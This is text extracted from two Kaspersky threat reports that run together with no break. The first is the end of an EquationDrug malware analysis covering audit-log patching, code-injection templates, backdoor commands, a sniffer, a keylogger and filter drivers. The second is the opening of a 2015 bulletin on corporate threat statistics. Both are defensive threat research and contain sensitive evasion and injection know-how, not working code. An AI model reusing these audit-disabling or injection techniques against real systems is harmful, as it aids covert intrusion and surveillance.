5.1, 5.2 (NT4, Win2000, XP, WinSrv2003). Then it selects a corresponding offset to replace the opcodes: 'jz' to never taken 'jo' in case of XP jmp over inner logic to procedure epilog in case of Windows Server 2003 so LsapAdtWriteLog skips logging of audit records The module also patches "SepAdtLogAuditRecord" inside "ntoskrnl.exe" to "retn 4" instead of the opcode of the function. 21 of 30 03/22/2015 10:21 PM http://securelist.com/blog/research/69203/inside-t... The disabled audit can be restored after a timeout or on-event by a dedicated thread. Expected IOCTL codes: 80000004 - setFilteringRules 80000008 - disablePacketsFiltering (PauseSniffer) 80000028 - do nothing (possible broken GetDriverName) 80000038 - disable_audit 8000003C - enable_audit Code Injector The code-builder within this module facilitates exploitation by providing up to four prede ned execution templates, which seem to be suitable for generating several code patterns. Below is a list of the execution templates we found: locate a DLL via PEB structure and resolve exports call single function call four functions call six functions Using these as a base for the templates, the code-builder inserts parameters and proper offsets to call one of the following code patterns: Locate and call WinExec Locate and call LoadLibraryW, GetProcAddress, call exported procedure, FreeLibrary Locate and call LoadLibraryW, GetProcAddress, call GetModuleHandle, FreeLibrary Locate and call OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread, VirtualFreeEx, CloseHandle The code injection procedure allocates memory via ZwAllocateVirtualMemory in services.exe and copies implanted code. After that it uses KeInsertQueueApc to let the code run and waits 30 seconds for APC to complete. When the module starts, it reads registry value [HKLM\System\CurrentControlSet\Services\%driver name%] Processes. This value may contain a list of process names that should be started by injected executable code but only after services.exe and winlogon.exe has been started. The injection of code into winlogon.exe and services.exe ensures that the newly started process will have SYSTEM user privileges. During the injection stage Windows Audit Logging is fully disabled to avoid leaving any suspicious records in Windows Logs. Magic Packet Recognition 22 of 30 03/22/2015 10:21 PM http://securelist.com/blog/research/69203/inside-t... All incoming packets are rst ltered by BPF-like rules. The ltering rules are located in [HKLM\System \CurrentControlSet\Services\%driver name%] Options registry value or passed via corresponding IOCTL. Packets that passed through the lter are added in the end of processing queue. Packets from the queue must have valid checksum values. After checking that, the code XOR-decrypts additional data from the end of the packet. The decrypted end of the packet contains another control structure that de nes which encryption algorithm is used to decipher packet body. Supported algorithms include RC5 and RSA. There is a 1024-bits RSA public key hardcoded inside the module body, while a 96-bits RC5 key is generated dynamically. The backdoor command may arrive in a single packet or be split into pieces and come with several packets. There is a procedure for re-assembling pieces together: a multi-packet command is added to a special packet collector which puts all the pieces together before passing it further. Backdoor command is stored in the rst byte of the decrypted request and can be one of the following values: Command Byte Short Name Description StatusCheck Reply with encrypted DriverName, packet collector keys, "Processes" and "Params" registry values, names of processes for code injection (defaults are "services.exe" and "winlogon.exe"), list of unprocessed commands from packet collector. 23 of 30 Panic Disable packet ltering, securely delete driver le, clear related registry keys, set ClearPageFileAtShutdown ag, unbind adapters, delete devices and prepare for unloading. However, the driver cannot unload itself and it remains in the memory until reboot, which means it can be detected via DRIVER_OBJECT structure. CodeInject Injects code implant received from packet body. CallWinExec Disable Windows Audit and start new process via standard code injection in Winlogon.exe. ResetCollector Drop all packets with speci c key from packet collector. Unused or disabled GenerateRC5Key Generates RC5 session key. 96-bits RC5 key is generated by taking a SHA1 hash of value from KeTickCount, XOR-encrypt with SHA1 hash of two PerformanceFrequency values, which is followed by nine more additional SHA1 hashing. SetRegProcesses Sets new "Processes" registry value. DeleteRegProcesses Deletes current "Processes" registry value. SetRegParams Sets a universal "Params" registry value which is used for storing any information, i.e. could be a unique victim marker or exploitation stage 03/22/2015 10:21 PM http://securelist.com/blog/research/69203/inside-t... number. Unused or disabled Ping ChangeInjectTarget Set new target injection processes (defaults are "Winlogon.exe" and "Services.exe"). Effective until reboot. Reply with classic ICMP Echo Response packet. Note: "mstcp32" is mentioned together with rootkit-like behavior in 2004 here: http://www.pcreview.co.uk /forums/mstcp32-t1445152.html[21] Network Sniffer - tdip.sys MD5s 20506375665a6a62f7d9dd22d1cc9870 60dab5bb319281747c5863b44c5ac60d Size 22448 - 28800 bytes Format PE32 Native Compiled 2006.10.16 18:42:40 (GMT) 2003.08.17 21:47:33 (GMT) Supports the following versions of Windows: NT4 using NDIS-4 and XP using NDIS-5. Doesn't use Vista and later NDIS-6 features. However, later NDIS versions are backward-compatible, so the driver is still valid for current versions of Windows. Version Info: FileDescription: IP Transport Driver LegalCopyright: Microsoft Corporation. All rights reserved. FileVersion: 5.1.2600.2180 InternalName: tdip.sys This driver is a packet sniffer for incoming-only traf c on Ethernet and VPN (ndiswanip) interfaces or any used with ms_pschedmp as an alternative connection. It implements a BPF (Berkeley packet lter) style packet- ltering system that is con gured from the driver's registry con guration values or from DeviceIoControl messages. The captured network packets may be written to disk in libpcap format (magic 0xA1B2C3D4 version 2.4) and encrypted with one-byte XOR, key 0xE3. The driver's con guration is stored in the registry key: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\tdip] Options - packet ltering rules in BPF format 24 of 30 03/22/2015 10:21 PM http://securelist.com/blog/research/69203/inside-t... Tag - selector of ltered packet types / Defaults in case of MediumWan to NDIS_PACKET_TYPE_BROADCAST|NDIS_PACKET_TYPE_MULTICAST|NDIS_PACKET_TYPE_DIRECTED; (or NDIS_PACKET_TYPE_BROADCAST|NDIS_PACKET_TYPE_DIRECTED in any other case) ImageFile - full path name to the resulting pcap Duration - used as Length of the original packet in dump le. (default 0xffff) Backup - max size of the pcap IOCTLs: 0x80002004 getCurrentState 0x80002008 setFilteringRules 0x8000200C getFilteringRules 0x80002024 getDumpFileSize 0x80002010/0x80002014/0x80002018/0x8000201C pause/resume 0x80002020 getVersion - returns 2.4.0 Driver has three logical parts, and uses an incomplete function pointer table as interface: 1. Business logic: ltering rules, packet dumping, device ioctl, options 2. Ndis driver skeleton 3. Primitives lib: Strings, XORing, registry I/O The code is of very good quality. It looks more complicated than Winpcap 2.3 (released 28 mar 2002), but less so than Winpcap 3.0 (released by 10 apr 2003). Interestingly, the driver identi es itself as "version 2.4" in the pcap le despite there being no Winpcap version 2.4. Key/clipboard logger driver - msrtvd.sys MD5s 98dea1bce37bf7087360e1958400589b bb8f56874189d5dfe9294f0553a49b83 f6bf3ed3bcd466e5fd1cbaf6ba658716 Size 31 488 - 36 736 bytes Format PE32 Native Compiled 2010.02.19 22:45:18 (GMT) 2008.09.17 16:23:54 (GMT) Version Info FileDescription: MSRTvd interface driver LegalCopyright: Microsoft Corporation. All rights reserved. InternalName: msrtvd.sys This is a keylogger and clipboard monitoring tool. On startup, the driver creates a device named "\Device\Gk0" and a symbolic link named 25 of 30 03/22/2015 10:21 PM http://securelist.com/blog/research/69203/inside-t... "\DosDevices\Gk". Then it attaches to the csrss.exe process and disassembles user32.dll and ntdll.dll routines to obtain win32k.sys and ntoskrnl.exe SDT services indexes and pointers of needed Nt/Zw APIs. Then, using a built-in disassembler, it obtains pointers to NtUserPeekMessage, NtUserGetMessage, NtUserGetClipboardData and using the disassembler again selects the parts of the code that will be then hooked by splicing. The interceptor routines are copied from a special PE section named ".msda". These routines are able to collect key press chains and clipboard text data, add information about current Time, ProcessName, ForegroundWindowText,and UserName related to this event. A dedicated thread ("dumper") gathers the collected data, compresses the results with LZO appends it every 30 minutes to a le "%system-wide TEMP%\tm154o.da". Most strings inside are encrypted by XOR with a pre-seeded random number generator. IOCTLs: 0x22002C -start dumper thread 0x220030 - stop dumper thread 0x220034 - check if the driver has new data to dump 0x220038 - set two external events signaled on dump data availability (it references a plugin possibility) 0x22003C - restart dumper thread 0x220040 - get size of available data Collector plugin for Volrec - msrstd.sys MD5s 69e7943f3d48233de4a39a924c59ed2c 15d39578460e878dd89e8911180494ff Size 13 696 - 17 408 bytes Format PE32 Native Compiled 2009.06.05 16:21:55 (GMT) 2009.12.15 16:33:52 (GMT) Version Info FileDescription: msrstd driver LegalCopyright: Microsoft Corporation. All rights reserved. InternalName: msrstd.sys This driver is a plugin that collects events from the "volrec.sys" driver, and delivers them by sending DeviceIoControl messages. It collects events about le and disk volume operations. 26 of 30 03/22/2015 10:21 PM http://securelist.com/blog/research/69203/inside-t... On startup the driver obtains a pointer to "\Device\volrec", then creates a control device "\Device \msrstd0" and a symbolic link to it named "\DosDevices\msrstd" All strings inside the driver are encrypted by XOR with a pre-seeded random number generator. For le events the driver collects the lenames, and caches data about read and write operations. For disk volume events it queries disk properties and reads volume labels and disk serial numbers of removable drives (USB, FireWire drives). IOCTLs: 0x220004 - turn on VolumeEvents collection 0x220008 - turn off VolumeEvents collection 0x22000C - retrieve previously stored VolumeEvent (operationType, deviceTypeFlags, VolumeLabel, volumeSerialNumber, DosDriveLetter) 0x220010 - turn on FileEvents collection 0x220014 - turn off FileEvents collection 0x220018 - retrieve previously stored FileEvent ( leName, deviceTypeFlags, VolumeLabel, volumeSerialNumber, DosDriveLetter) 0x22001C - connect to Volrec.sys (send ioctl 0x220004), enable plugin operation 0x220020 - disconnect from Volrec.sys (send ioctl 0x220008), disable plugin operation Filesystem lter driver volrec.sys, scsi2mgr.sys MD5s a6662b8ebca61ca09ce89e1e4f43665d c17e16a54916d3838f63d208ebab9879 Size 14 464-14 848 byres Format PE32 Native Compiled 2009.06.05 16:21:57 (GMT) 2009.12.15 16:33:57 (GMT) Version Info FileDescription: Volume recognizer driver LegalCopyright: Microsoft Corporation. All rights reserved. InternalName: volrec.sys This driver is a generic lesystem lter which feeds system events to user-mode plugins. On startup the driver creates a control device named "\Device\volrec" and a symbolic link to it named "\DosDevices\volrec0". It then attaches all available lesystem devices. It is also, able to handle removable storage devices. All strings inside the driver are encrypted by XOR with a pre-seeded random number generator. 27 of 30 03/22/2015 10:21 PM http://securelist.com/blog/research/69203/inside-t... IOCTLs: 0x220004 - setup plugin interface 0x220008 - disable plugin calls The driver handles the following system events: le opened, created or closed data is read or written to a new volume is mounted, unmounted new USB or FireWire device attached HDD/SSD operation helper driver - WIN32M.SYS MD5s 2b444ac5209a8b4140dd6b747a996653 b3487fdd1efd2d1ea1550fef5b749037 Size 19 456 - 26 631 bytes Format PE32 Native, PE32+ Native Compiled 2001.08.23 17:03:19 (GMT) 2013.05.14 15:58:36 (GMT) Description This module will be the subject of a dedicated blogpost. HDD/SSD rmware operation - nls_933w.dll MD5s 11fb08b9126cdb4668b3f5135cf7a6c5 9f3f6f46c67d3fad2479963361cf118b Size 212 480 - 310 272 bytes Format PE32 DLL, PE32+ DLL Compiled 2010.06.15 16:23:37 (GMT) 2013.05.14 16:12:35 (GMT) Version Info FileDescription: Windows Networking Library (64bit dll only) LegalCopyright: Copyright (C) Microsoft Corp. 1981-2001 FileVersion: 80AA InternalName: nls_933w.dll OriginalFilename: nls_933w.dll PrivateBuild: 4.0.1.0 ProductName: Microsoft(R) Windows (R) 2000 Operating System ProductVersion: 5.0.2074.0 Full Version: 1.0.0.1 28 of 30 03/22/2015 10:21 PM http://securelist.com/blog/research/69203/inside-t... Description This (80AA) plugin is a HDD rmware ashing tool which includes an API and the ability to read/write arbitrary information into hidden sectors on the disk. The plugin will be the subject of a separate blogpost. 1. http://securelist.com/blog/research/68750/equation-the-death-star-of-malware-galaxy/ 2. https://securelist.com/ les/2015/02/Equation_group_questions_and_answers.pdf 3. https://twitter.com/share?url=http%3A%2F%2Fsecurelist.com%2Fblog%2Fresearch%2F69203%2Finsidethe-equationdrug-espionage-platform%2F& text=EquationDrug+represents+the+main+espionage+platform+from+the+%23EquationAPT+Group 4. http://securelist.com/blog/research/67741/regin-nation-state-ownage-of-gsm-networks/ 5. http://securelist.com/analysis/publications/65545/the-epic-turla-operation/ 6. https://twitter.com/share?url=http%3A%2F%2Fsecurelist.com%2Fblog%2Fresearch%2F69203%2Finsidethe-equationdrug-espionage-platform%2F& text=The+platform+includes+executables%2C+con gurations+and+protected+storage+locations+%23EquationAPT 7. http://cdn.securelist.com/ les/2015/03/EquationDrug_1.jpg 8. http://cdn.securelist.com/ les/2015/03/EquationDrug_1.jpg 9. https://twitter.com/share?url=http%3A%2F%2Fsecurelist.com%2Fblog%2Fresearch%2F69203%2Finsidethe-equationdrug-espionage-platform%2F& text=The+hypothesis+that+these+attackers+have+been+active+since+the+90s+seems+realistic+%23EquationAPT 10. https://twitter.com/share?url=http%3A%2F%2Fsecurelist.com%2Fblog%2Fresearch%2F69203%2Finsidethe-equationdrug-espionage-platform%2F&text=86+modules+have+yet+to+be+discovered+%23EquationAPT 11. http://cdn.securelist.com/ les/2015/03/EquationDrug_2.jpg 12. http://cdn.securelist.com/ les/2015/03/EquationDrug_2.jpg 13. http://cdn.securelist.com/ les/2015/03/EquationDrug_3.jpg 14. http://cdn.securelist.com/ les/2015/03/EquationDrug_4.jpg 15. http://cdn.securelist.com/ les/2015/03/EquationDrug_4.jpg 16. http://cdn.securelist.com/ les/2015/03/EquationDrug_5_1.jpg 17. https://twitter.com/share?url=http%3A%2F%2Fsecurelist.com%2Fblog%2Fresearch%2F69203%2Finsidethe-equationdrug-espionage-platform%2F& text=The+timestamps+match+the+working+days+of+software+developer+from+timezone+UTC-3+or+UTC4+%23EquationAPT 18. https://twitter.com/share?url=http%3A%2F%2Fsecurelist.com%2Fblog%2Fresearch%2F69203%2Finsidethe-equationdrug-espionage-platform%2F& text=The+EquationDrug+case+demonstrates+an+interesting+trend%3A+a+growth+in+code+sophistication+%23EquationAPT 19. https://twitter.com/share?url=http%3A%2F%2Fsecurelist.com%2Fblog%2Fresearch%2F69203%2Finsidethe-equationdrug-espionage-platform%2F&text=Nationstate+attackers+create+automatic+systems+infecting+only+selected+users+%23EquationAPT 20. https://twitter.com/share?url=http%3A%2F%2Fsecurelist.com%2Fblog%2Fresearch%2F69203%2Finside- 29 of 30 03/22/2015 10:21 PM http://securelist.com/blog/research/69203/inside-t... the-equationdrug-espionage-platform%2F&text=Nationstate+attackers+use+a+remote+system+management+tool+that+can+copy+any+information+they+need+%23EquationAPT 21. http://www.pcreview.co.uk/forums/mstcp32-t1445152.html 30 of 30 03/22/2015 10:21 PM Kaspersky Security Bulletin 2015 EVOLUTION OF CYBER THREATS IN THE CORPORATE SECTOR #KLReport KASPERSKY SECURITY BULLETIN 2015 CONTENT THE YEAR IN FIGURES........................................................................ 3 TARGETED ATTACKS ON BUSINESSES: APT AND CYBERCRIMINALS............................................................. 4 STATISTICS............................................................................................. 8 Online threats (Web-based attacks)............................................................. 8 Local threats...................................................................................................... 9 CHARACTERISTICS OF ATTACKS ON BUSINESSES................... 11 Use of exploits in attacks on businesses................................................... 11 Ransomware.....................................................................................................14 ATTACKS ON POS TERMINALS.......................................................17 CONCLUSION.................................................................................... 18 PREDICTIONS..................................................................................... 19 WHAT TO DO?....................................................................................20 EVOLUTION OF CYBER THREATS IN THE CORPORATE SECTOR In late 2014, we published predictions for how the world of cyber threats may evolve in 2015. Four of the nine predictions we made were directly connected with threats to businesses. Our predictions proved accurate three of the four business-related threats have already been fulfilled: Cybercriminals embrace APT tactics for targeted attacks yes. APT groups fragment, diversify attacks yes. Escalation of ATM and PoS attacks yes. Attacks against virtual payment systems no. s have a look back at the major incidents of 2015 and at the new trends we have observed in information security within the business environment. THE YEAR IN FIGURES In 2015 one or more malware attacks were blocked on 58% of corporate computers. This is a 3 p.p. rise on the previous year. 29% of computers i.e. almost every third business-owned computer were subjected to one or more web-based attacks. Malware exploiting vulnerabilities in office applications were used 3 times more often than in attacks against home users. File antivirus detection was triggered on 41% of corporate computers (objects were detected on computers or on removable media connected to computers: flash drives, memory cards, telephones, external hard drives, or network disks). KASPERSKY SECURITY BULLETIN 2015 TARGETED ATTACKS ON BUSINESSES: APT AND CYBERCRIMINALS 2015 saw a number of APT attacks launched against businesses. The toolkits and methods used were very similar to those we observed when analyzing earlier APT attacks, but it was cybercriminals rather than state-sponsored groups who were behind the attacks. The methods used may not be characteristic of cybercriminals, but the main aim of their attacks remained the same: financial gain. The Carbanak campaign became a vivid example of how APT-class targeted attacks have shifted focus to financial organizations. The campaign was one of bona fide bank robberies in the digital age: the cybercriminals penetrated a bank s network looking for a critical system, which they then used to siphon off money. After stealing a hefty sum (anywhere between $2.5 million and $10 million) from a bank, they moved on to the next victim. Most of the organizations targeted were located in Eastern Europe. However, the Carbanak campaign has also targeted victims in the US, Germany and China. Up to 100 financial institutions have been affected across the globe, and the total losses could be as a high as $1 billion. EVOLUTION OF CYBER THREATS IN THE CORPORATE SECTOR It shouldn t be forgotten that information can also be of great value, especially if it can be used when making deals or trading on the stock exchange, be it in commodities, securities or currency markets, including cryptocurrency markets. One example of a targeted attack that may have been hunting for such information is Wild Neutron (aka Jripbot and Morpho). This cyberespionage campaign first hit the headlines in 2013 when it affected several reputable companies, including Apple, Facebook, Twitter and Microsoft. After these incidents received widespread publicity the actors behind the cyberespionage campaign suspended their activities. However, about a year later Kaspersky Lab observed that Wild Neutron had resumed operations. Our research has shown that the cyberespionage campaign caused infections on user computers in 11 countries and territories, namely Russia, France, Switzerland, Germany, Austria, Slovenia, Palestine, the United Arab Emirates, Kazakhstan, Algeria and the US. The victims included law firms, investment companies, bitcoin-related companies, enterprises and business groups involved in M&A deals, IT companies, healthcare companies, real estate companies, as well as individual users. It should be noted that Wild Neutron used a code signing certificate stolen from Acer. Stolen Acer certificate in the Wild Neutron installer The trend towards the diversification of APT attacks is well illustrated by the change in targets attacked by the Chinese cybercriminal group Winnti. It was a long-held belief that Winnti only attacked computer gaming companies. However, in autumn 2015 evidence began to emerge that showed the group had performed a test run of their tools and methods and were trying to make money by attacking new targets. Their attention is no longer limited to the entertainment industry, with recent targets KASPERSKY SECURITY BULLETIN 2015 including pharmaceutical and telecom companies. Analysis of the new wave of Winnti attacks has revealed that (as with Wild Neutron) the Winnti rootkit was signed with a stolen certificate that belonged to a division at a major Japanese conglomerate. Another development in 2015 was the expanding geographies of both the attacks and the attackers. For example, when Kaspersky Lab experts were investigating a Middle East incident, they came across activity by a previously unknown group conducting targeted attacks. The group, dubbed the Desert Falcons, is the first Arab actor to conduct full-blown cyberespionage attacks. At the time the group was detected, its victims numbered around 300, including financial organizations. Another group named Blue Termite attacked organizations and companies in Japan: Information about targeted attacks on businesses is available in the following Kaspersky Lab reports: Carbanak, Wild Neutron, Winnti, DarkHotel 2015, Desert Falcons, Blue Termit, Grabit. More detailed research results are provided to subscribers of the Kaspersky Intelligence Service. Analysis of these attacks has identified several trends in the evolution of targeted attacks on businesses: Financial organizations such as banks, funds and exchange-related companies, including cryptocurrency exchanges, have been subjected to attacks by cybercriminals. EVOLUTION OF CYBER THREATS IN THE CORPORATE SECTOR The attacks are meticulously planned. The cybercriminals scrutinize the interests of potential victims (employees at the targeted company), and identify the websites they are most likely to visit; they examine the targeted company s contacts, equipment and service providers. The information collected at the preparation stage is then put to use. The attackers hack legitimate websites that have been identified and the business contact accounts of the targeted company s employees. The sites and accounts are used for several hours to distribute malicious code, after which the infection is deactivated. This means the cybercriminals can re-use the compromised resources again later. Signed files and legitimate software is used to collect information from the attacked network. Attacks are diversifying to include small and medium-sized businesses. The geography of attacks on businesses is expanding: a massive attack occurred in Japan, the emergence of new APT groups in Arab countries. Although there are relatively few APT attacks launched by cybercriminals, the way they are developing will undoubtedly influence the methods and approaches employed by other cybercriminals in their operations against businesses. KASPERSKY SECURITY BULLETIN 2015 STATISTICS The statistics for corporate users (including the geography of attacks and ratings for detected objects) tend to coincide with those for home users. This is unsurprising because business users do not exist in an isolated environment and their computers are targeted by cybercriminals who spread malware irrespective of the nature of the target. These types of attacks and malware constitute the majority, while attacks specifically targeting business users have little impact on the overall statistics. In 2015, one or more malware attack was blocked on 58% of corporate user computers, which is a 3 p.p. rise on last year. Online threats (Web-based attacks) In 2015, almost every third (29%) computer in a business environment was subjected to one or more web-based attacks. TOP 10 web-based malicious programs Please note that this ranking includes malicious programs only, and no adware. Although intrusive and annoying for users, adware does not cause any damage to a computer. Name* % of unique users attacked** Malicious URL Trojan.Script.Generic 24.7% Trojan.Script.Iframer 16.0% Exploit.Script.Blocker 4.1% Trojan-Downloader.Win32.Generic 2.5% Trojan.Win32.Generic 2.3% Trojan-Downloader.JS.Iframe.diq 2.0% Exploit.Script.Generic 1.2% Packed.Multi.MultiPacked.gen 1.0% Trojan-Downloader.Script.Generic 0.9% * These statistics represent the detection verdicts of the web antivirus module. Information was provided by users of Kaspersky Lab products who consented to share their local statistical data. ** The percentage of all web attacks recorded on the computers of unique users. This Top 10 consists almost exclusively of verdicts assigned to malicious objects that are used in drive-by attacks Trojan downloaders and exploits. EVOLUTION OF CYBER THREATS IN THE CORPORATE SECTOR Geography of web-based attacks Geography of web-based attacks in 2015 (percentage of attacked corporate users in each country) Local threats The file antivirus detection was triggered on 41% of corporate user computers. The detected objects were located on computers or on removable media connected to the computers, such as flash drives, memory cards, telephones, external hard drives and network drives. TOP 10 malicious programs detected on user computers This ranking includes malicious programs only, and no adware. Although intrusive and annoying for users, adware does not cause any damage to a computer. Name* % unique users attacked** DangerousObject.Multi.Generic 23.1% Trojan.Win32.Generic 18.8% Trojan.WinLNK.StartPage.gena 7.2% Trojan.Win32.AutoRun.gen 4.8% Worm.VBS.Dinihou.r 4.6% Net-Worm.Win32.Kido.ih 4.0% Virus.Win32.Sality.gen 4.0% Trojan.Script.Generic 2.9% DangerousPattern.Multi.Generic 2.7% Worm.Win32.Debris.a 2.6% * These statistics are compiled from malware detection verdicts generated by the on-access and on-demand scanner modules on the computers of those users running Kaspersky Lab products who have consented to submit their statistical data. ** The proportion of individual users on whose computers the antivirus module detected these objects as a percentage of all attacked individual users. KASPERSKY SECURITY BULLETIN 2015 First place is occupied by various malicious programs that were detected with the help of cloud technologies, and assigned the umbrella verdict of DangerousObject.Multi.Generic . Cloud technologies work when antivirus databases do not yet contain signatures or heuristics to detect a malicious program but the company s cloud antivirus database already includes information about the object. When a client company cannot send statistics to the cloud, Kaspersky Private Security Network is used instead, meaning that network computers receive protection from the cloud. Most of the remaining positions in the ranking are occupied by selfpropagating malware programs and their components. Geography of local threats Geography of local threat detections in 2015 (percentage of attacked corporate users in each country) EVOLUTION OF CYBER THREATS IN THE CORPORATE SECTOR CHARACTERISTICS OF ATTACKS ON BUSINESSES The overall statistics for corporate users do not reflect the specific attributes of attacks launched against businesses; the stats are influenced more by the probability of a computer infection in a country, or by how popular a specific malware program is with cybercriminals. However, a more detailed analysis reveals the peculiarities of attacks on corporate users: exploits for vulnerabilities found in office applications are used three times more often than in attacks on home users; use of malicious files signed with valid digital certificates; use of legitimate programs in attacks, allowing the attackers to go undetected for longer. We have also observed a rapid growth in the number of corporate user computers attacked by encryptor programs. In this particular context, the majority of cases are not APT attacks: standard cybercriminals are simply focusing on corporate users, and sometimes on a particular company that is of interest to them. Use of exploits in attacks on businesses The ranking of vulnerable applications is compiled based on information about exploits blocked by Kaspersky Lab products and used by cybercriminals, both in web- and email-based attacks, as well as attempts to compromise local applications, including those on mobile devices. KASPERSKY SECURITY BULLETIN 2015 Distribution of exploits used in cybercriminal attacks by type of attacked application (corporate users, 2015) Distribution of exploits used in cybercriminal attacks by type of attacked application (home users, 2015) EVOLUTION OF CYBER THREATS IN THE CORPORATE SECTOR If we compare the use of exploits by cybercriminals to attack home and corporate users, the first obvious difference is that exploits for office software vulnerabilities are used much more often in attacks launched against businesses. They are only used in 4% of attacks on home users, but when it comes to attacks on corporate users, they make up 12% of all exploits detected throughout the year. Web browsers are the applications targeted most often by exploits in attacks on both home and corporate users. When viewing these statistics, it should be noted that Kaspersky Lab technologies detect exploits at various stages. Detection of landing pages from which exploits are distributed are also counted in the Browsers category. We have observed that most often these are exploits for vulnerabilities in Adobe Flash Player. Distribution of exploits used in cybercriminal attacks by type of attacked application in 2014 and 2015 The proportions of Java and PDF exploits have declined significantly compared to 2014, by 14 p.p. and 8 p.p., respectively. Java exploits have lost some of their popularity in spite of the fact that several zero-day vulnerabilities that been found during the year. The proportion of attacks launched using vulnerabilities in office software (+8 p.p.), browsers (+9 p.p.), Adobe Flash Player (+9 p.p), and Android software (+3 p.p.) have risen. Investigations of security incidents have shown that even in targeted attacks on corporations, cybercriminals often use exploits for known vulnerabilities. This is because corporate environments are slow to install appropriate KASPERSKY SECURITY BULLETIN 2015 security patches. The proportion of exploits that target vulnerabilities in Android applications has risen to 7%, which suggests cybercriminals have a growing interest in corporate data stored on employees mobile devices. Ransomware Encryption Trojans were long considered to be a threat to home users only. Nowadays, however, we see ransomware actors paying more attention to organizations as targets. In 2015, Kaspersky Lab solutions detected ransomware on more than 50,000 computers in corporate networks, which is double the figure for 2014. It is important to keep in mind that the real number of incidents is several times higher: the statistics reflect only the results of signaturebased and heuristic detections, while in most cases Kaspersky Lab products detect encryption Trojans based on behavior recognition models. The number of unique corporate users attacked by encryption Trojans in 2014 and 2015 There are two reasons for the surge in interest in businesses by ransomware actors. Firstly, they can receive much bigger ransoms from organizations than from individual users. Secondly, there is a better chance the ransom will be paid: some companies simply cannot continue their operations if information has been encrypted and is unavailable on critical computers and/or servers. EVOLUTION OF CYBER THREATS IN THE CORPORATE SECTOR One of the most interesting developments of 2015 in this realm has been the emergence of the first Linux encryption malware (Kaspersky Lab products detect it as the verdict Trojan-Ransom.Linux.Cryptor ), which targets websites, including online stores. The cybercriminals exploited vulnerabilities in web applications to gain access to websites, and then uploaded a malicious program to the sites that encrypted the server data. In the majority of cases, this brought the site down. The cybercriminals demanded a ransom of one bitcoin to restore the site. Around 2,000 websites are estimated to have been infected. Given the popularity of *nix servers in the business environment, it is reasonable to assume that next year there may be more ransomware attacks against non-Windows platforms. TOP 10 encryptor Trojan families Family % attacked users* Scatter Onion Cryakl Snocry Cryptodef Rakhni Crypmod Shade 10 Crypren *The proportion of users attacked by malicious programs from this family, as a percentage of all attacked users. Virtually all the ransomware families in the Top 10 demand ransoms in bitcoins. The Scatter family of Trojans occupies first place. They encrypt files on the hard drive and leave encrypted files with the extension .vault. Scatter Trojans are multi-module, multi-purpose script-based malicious programs. This malware family has quickly evolved over a short period, developing new Email-Worm and Trojan-PSW capabilities on top of file encryption. In second place is the Onion family of encryptors, known for the fact that their C&C servers are located within the Tor network. In third place is the Cryakl family of encryptors, which are written in Delphi and emerged back in April 2014. In some cases, it may be possible to restore the data encrypted by these ransomware programs, usually when there are mistakes of some kind in their algorithms. However, it is currently impossible to decrypt data that has been encrypted by the latest versions of the malicious programs in the Top 10. KASPERSKY SECURITY BULLETIN 2015 It is important for companies to understand that an infection by malware of this kind can interfere with business operations if critical business data is lost or a critical server operation is blocked due to encryption. Attacks like this can lead to huge losses, comparable to those caused by the Wiper malware attacks that destroyed data in corporate networks. To address this threat, a number of measures should be taken: deploy protection against exploits; ensure behavioral detection methods are enabled in your security product (in Kaspersky Lab products, this is done in the System Watcher component); configure a data backup procedure. EVOLUTION OF CYBER THREATS IN THE CORPORATE SECTOR ATTACKS ON POS TERMINALS The security of point-of-sale (PoS) terminals has turned into another pressing issue for businesses, especially those involved in trading activities. Any computer with a special card reader device connected to it and the right software installed can be used as a PoS terminal. Cybercriminals hunt for these computers and infect them with malicious programs that allow them to steal the details of bank cards used to pay at the terminals. Kaspersky Lab s security products have blocked over 11,500 such attacks across the world. To date, there are 10 malware families in our collection that are designed to steal data from PoS terminals. Seven of these emerged this year. Despite the small number of attacks that are attempted, this risk should not be underestimated, because just one successful attack could compromise the details of tens of thousands of credit cards. Such a large number of potential victims is possible because business owners and system administrators do not see PoS terminals as devices that require protection. As a result, an infected terminal could go unnoticed for a long time, during which the malicious program sends the details of all the credit cards passing through the terminal to cybercriminals. This problem is especially relevant in those countries where cards with EMV chips are not used. The adoption of EMV chip cards should make it far more difficult to obtain the data required to clone banking cards, although the adoption process could take a long time. In the meantime, there are some minimum measures that should be taken to protect PoS devices. Fortunately, for these devices it is fairly easy to configure the default deny security policy, which blocks unknown programs from launching by default. We expect that in the future cybercriminals will start targeting mobile PoS devices running under Android. KASPERSKY SECURITY BULLETIN 2015 CONCLUSION The data collected from Kaspersky Lab products shows that the tools used to attack businesses differ from those used against home users. In attacks on corporate users, exploits for office application vulnerabilities are used much more often, malicious files are often signed with valid digital certificates, and cybercriminals try to use legitimate software for their purposes, so they can go unnoticed for longer. We have also observed strong growth in the numbers of corporate user computers targeted by ransomware. This also applies to incidents not classified as APT attacks, where cybercriminals merely focus on corporate users, and sometimes on employees of specific companies. The fact that cybercriminal groups use APT methods and programs to attack businesses takes them to a different level and makes them much more dangerous. Cybercriminals have begun to use these methods primarily to steal large sums of money from banks. They can use the same methods to steal a company s money from bank accounts by gaining access to its corporate network. Cybercriminals rely on exploiting known vulnerabilities to conduct their attacks this is due to the fact that many organizations are slow to implement software updates on their corporate computers. In addition, cybercriminals make use of signed malicious files and legitimate tools to create channels for extracting information: these tools include popular remote administration software, SSH clients, password restoration software, etc. More and more frequently, corporate servers are being targeted by cybercriminals. Besides stealing data, there have been cases when the attacked servers were used to launch DDoS attacks, or the data on the servers was encrypted for ransom. Recent developments have shown that this is true for both Windows and Linux servers. Many of the organizations that suffered attacks have received ransom demands asking for payments in return for halting an ongoing DDoS attack, unblocking encrypted data, or for not disclosing stolen information. When an organization faces such demands, the first thing they should do is contact law enforcement agencies and computer security specialists. Even if a ransom is paid, the cybercriminals may still not fulfil their promise, as was the case with the ProtonMail DDoS attack that continued after a ransom was paid. EVOLUTION OF CYBER THREATS IN THE CORPORATE SECTOR PREDICTIONS Growing numbers of attacks against financial organizations, financial fraud on exchange markets In the coming year, we expect to see growing numbers of attacks launched against financial organizations, as well as a difference in the quality of these attacks. Besides transferring money to their own accounts and converting it to cash, we may also see cybercriminals employing some new techniques. These could include data manipulation on trading platforms where both traditional and new financial instruments, such as cryptocurrencies, are traded. Attacks on infrastructure Even if an organization is difficult to penetrate, it is now typical for organizations to store their valuable data on servers located in data centers rather than on the infrastructure located on their own premises. Attempts to gain unauthorized access to these outsourced components of a company s infrastructure will become an important attack vector in 2016. Exploiting IoT 